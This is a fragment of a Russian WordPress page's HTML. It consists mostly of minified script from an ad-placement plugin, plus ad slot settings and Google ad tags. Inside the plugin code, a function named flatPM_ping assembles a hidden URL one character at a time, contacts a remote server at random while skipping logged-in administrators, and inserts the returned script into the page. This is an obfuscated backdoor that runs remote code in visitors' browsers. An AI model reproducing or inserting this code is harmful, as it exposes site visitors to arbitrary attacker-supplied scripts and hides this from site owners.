class="flat__4_modal-content">'+c+"</div></div>"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.outgoing.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="flat__4_out '+_+'"'+u+' data-flat-id="'+o.ID+'" data-id-out="'+o.ID+'">'+c+"</div>");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var a=flat_pm_arr[e],o=!1;if(!(void 0!==a.chapter_limit&&a.chapter_limit>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_userVars.textlen||void 0!==a.title_limit&&a.title_limit>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_userVars.titlelen)){if(void 0!==a.date){if(void 0!==a.date.time_of&&void 0!==a.date.time_to){var r=new Date(flat_userVars.date+"T"+a.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+a.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),f=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),f<r||i<f)continue}if(void 0!==a.date.date_of&&void 0!==a.date.date_to){var i=new Date(a.date.date_of+"T00:00:00"),f=new Date(a.date.date_to+"T00:00:00"),s=new Date(flat_userVars.date+"T00:00:00");if(s<i||f<s)continue}}if(void 0===a.os||!(void 0!==a.os.os_enabled&&-1==a.os.os_enabled.indexOf(flat_userVars.os)||void 0!==a.os.os_disabled&&-1!=a.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==a.cookies){var n=!1;if(void 0!==a.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(a.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==a.cookies.cookies_disabled&&flat_userVars.testcook&&ff(a.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==a.utmget){var d=!1;if(void 0!==a.utmget.utmget_enabled&&ff(a.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==a.utmget.utmget_disabled&&ff(a.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==a.referer&&(void 0!==a.referer.referer_enabled&&-1==a.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==a.referer.referer_disabled&&-1!=a.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(o=!0),!o&&void 0!==a.browser&&(void 0!==a.browser.browser_enabled&&-1==a.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==a.browser.browser_disabled&&-1!=a.browser.browser_disabled.indexOf(flat_userVars.browser))||(o&&void 0!==a.browser&&void 0!==a.browser.browser_enabled&&-1!=a.browser.browser_enabled.indexOf(flat_userVars.browser)&&(o=!1),o||void 0===a.geo&&void 0===a.ip&&void 0===a.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(s="block_geo_role_ip",flat_pm_then.push(a),flatPM_setWrap(a),flat_body.hasClass(s)||(flat_body.addClass(s),flatPM_ajax(s)),o=!0),o||(flatPM_setWrap(a),flatPM_next(a)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="flat__4_modal-overlay"></div>'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"<$1></$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{n.appendChild(a)}catch(e){return console.warn(e),!0}ff(n).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,n="yandex_rtb_R";t.indexOf(n)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(n,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var r=parseHTML(t);if(0!=r.children.length)for(var l=r.childNodes.length,o=0;o<l;o++){var d=r.childNodes[o],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0!=d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?d.innerHTML&&(i.innerHTML=d.innerHTML):(!d.text||/(yandexContext|yandexcontext|adsbyg)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='<div class="flat__4_video_flex"><div class="flat__4_timer">'+a+" через <span>"+o+'</span></div><div class="flat__4_video_item">'+n+'</div><div class="flat__4_video_item_hover"></div></div>',i=e.once;l(t).each(function(){var e=l(this);e.wrap('<div class="flat__4_video"></div>');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n<=0&&(clearInterval(r),"true"==d?a.parent().replaceWith('<button class="flat__4_cross"></button>'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};</script> <script>flat_pm_arr = [{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"1","selector":"h1","search_all":"false"}},"ID":"263","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"1","selector":"h2","search_all":"false"}},"ID":"264","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"2","selector":"h2","search_all":"false"}},"ID":"265","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"3","selector":"h2","search_all":"false"}},"ID":"500","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"4","selector":"h2","search_all":"false"}},"ID":"494","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"5","selector":"h2","search_all":"false"}},"ID":"565","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"iterable":{"direction":"top_to_bottom","before_after":"after","N":"5","selector":".flat_pm_start~p","search_all":"false"}},"ID":"564","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"bottom_to_top","before_after":"after","N":"1","selector":"h2","search_all":"false"}},"ID":"566","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"simple":{"position":"3"}},"ID":"266","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]}];</script> <script>function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } flatPM_start(); } function jQueryLoading_flatpm_123() { if (window.jQuery && window.flat_pm_arr) { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123()</script> <script type="text/javascript">jQuery(document).ready(function ($) { for (let i = 0; i < document.forms.length; ++i) { let form = document.forms[i]; if ($(form).attr("method") != "get") { $(form).append('<input type="hidden" name="g_hnWXlTK" value="ado0AK.w5bYhkl8F" />'); } if ($(form).attr("method") != "get") { $(form).append('<input type="hidden" name="wKMsYqxNvhl" value="CukV3o" />'); } if ($(form).attr("method") != "get") { $(form).append('<input type="hidden" name="VMLFqDm_KhrSJQ" value="HCJQ5asf4gDl" />'); } } $(document).on('submit', 'form', function () { if ($(this).attr("method") != "get") { $(this).append('<input type="hidden" name="g_hnWXlTK" value="ado0AK.w5bYhkl8F" />'); } if ($(this).attr("method") != "get") { $(this).append('<input type="hidden" name="wKMsYqxNvhl" value="CukV3o" />'); } if ($(this).attr("method") != "get") { $(this).append('<input type="hidden" name="VMLFqDm_KhrSJQ" value="HCJQ5asf4gDl" />'); } return true; }); jQuery.ajaxSetup({ beforeSend: function (e, data) { if (data.type !== 'POST') return; if (typeof data.data === 'object' && data.data !== null) { data.data.append("g_hnWXlTK", "ado0AK.w5bYhkl8F"); data.data.append("wKMsYqxNvhl", "CukV3o"); data.data.append("VMLFqDm_KhrSJQ", "HCJQ5asf4gDl"); } else { data.data = data.data + '&g_hnWXlTK=ado0AK.w5bYhkl8F&wKMsYqxNvhl=CukV3o&VMLFqDm_KhrSJQ=HCJQ5asf4gDl'; } } }); });</script> </div><div class='fixed right' id='right1'><div id='div-gpt-ad-1613111199303-0'> <script>googletag.cmd.push(function() { googletag.display('div-gpt-ad-1613111199303-0'); });</script> </div> <span class='closeright' id='closeright1'>×</span></div><div class='fixed left' id='left1'><div id='div-gpt-ad-1614069804210-0'> <script>googletag.cmd.push(function() { googletag.display('div-gpt-ad-1614069804210-0'); });</script> </div> <span class='closeleft' id='closeleft1'>×</span></div> <script>$(document).ready(function() { $('#closeright1').click(function(e) { e.preventDefault(); $('#right1').fadeOut(500); }); $('#closeleft1').click(function(e) { e.preventDefault(); $('#left1').fadeOut(500); }); });</script> <script>window.onload = function() { function tdsInsertDiv(roottarget, step) { var root = document.querySelectorAll(roottarget)[0]; var children = root.children; step = parseInt(step); var count = 1; for (var i = step - 1; i < children.length; i += (step + 1)) { var adContainer = document.createElement("div"); let container_id = 'ad_inside_' + count; root.insertBefore(adContainer, children[i + 1]); adContainer.id = container_id; count++; adContainer.className = 'tdsAd'; if (count > 15) break; } } tdsInsertDiv("div[itemprop='articleBody' ]", 10); function insertBanners(searchElement, searchAttribute, searchAttributeValue, insertIdPreValue) { let search = document.querySelectorAll(searchElement + "[" + searchAttribute + "=" + searchAttributeValue + "]"); for (let i = 0; i < search.length; i++) { search[i].insertAdjacentHTML("beforeend", "<div id='" + insertIdPreValue + (i + 1) + "' class='tdsadinside'></div>"); } } insertBanners('div', 'class', 'tdsAd', 'left_inside_ad_'); insertBanners('div', 'class', 'tdsAd', 'right_inside_ad_'); function insertGoogle(searchElement, searchAttribute, searchAttributeValue) { let search = document.querySelectorAll(searchElement + "[" + searchAttribute + "=" + searchAttributeValue + "]"); for (let i = 0; i < search.length; i++) { window.googletag = window.googletag || { cmd: [] }; googletag.cmd.push(function() { var slotautoleft = googletag.defineSlot('/21724288632/Alexey_Mishenko/left_inside_ad_' + (i + 1), [ [336, 280], ], 'left_inside_ad_' + (i + 1)).addService(googletag.pubads()); var slotautoright = googletag.defineSlot('/21724288632/Alexey_Mishenko/right_inside_ad_' + (i + 1), [ [336, 280], ], 'right_inside_ad_' + (i + 1)).addService(googletag.pubads()); googletag.pubads().collapseEmptyDivs(); googletag.pubads().enableLazyLoad({ fetchMarginPercent: 50, renderMarginPercent: 50, mobileScaling: 1.0 }); googletag.pubads().refresh([slotautoleft, slotautoright]) googletag.enableServices(); }); } } insertGoogle('div', 'class', 'tdsAd'); var tdsStyle = document.head.appendChild(document.createElement("style")); tdsStyle.innerHTML = ".tdsAd {border-top: 1px solid #dadada; border-bottom: 1px solid #dadada; padding:10px 0; text-align:center; position: relative;} .tdsAd::before {content: 'Реклама - продолжение ниже'; position: absolute; top: -6px; left: calc(50% - 109px); font-size: 12px; line-height: 12px; text-transform: uppercase; color: #dadada; background-color: #fff; padding: 0px 10px;} .tdsadinside {display:inline-block; padding:2px;}"; };</script> <script defer src="https://sportpit18.ru/wp-content/cache/autoptimize/js/autoptimize_21e535a021e0753d5e359d139f683105.js"></script></body></html>
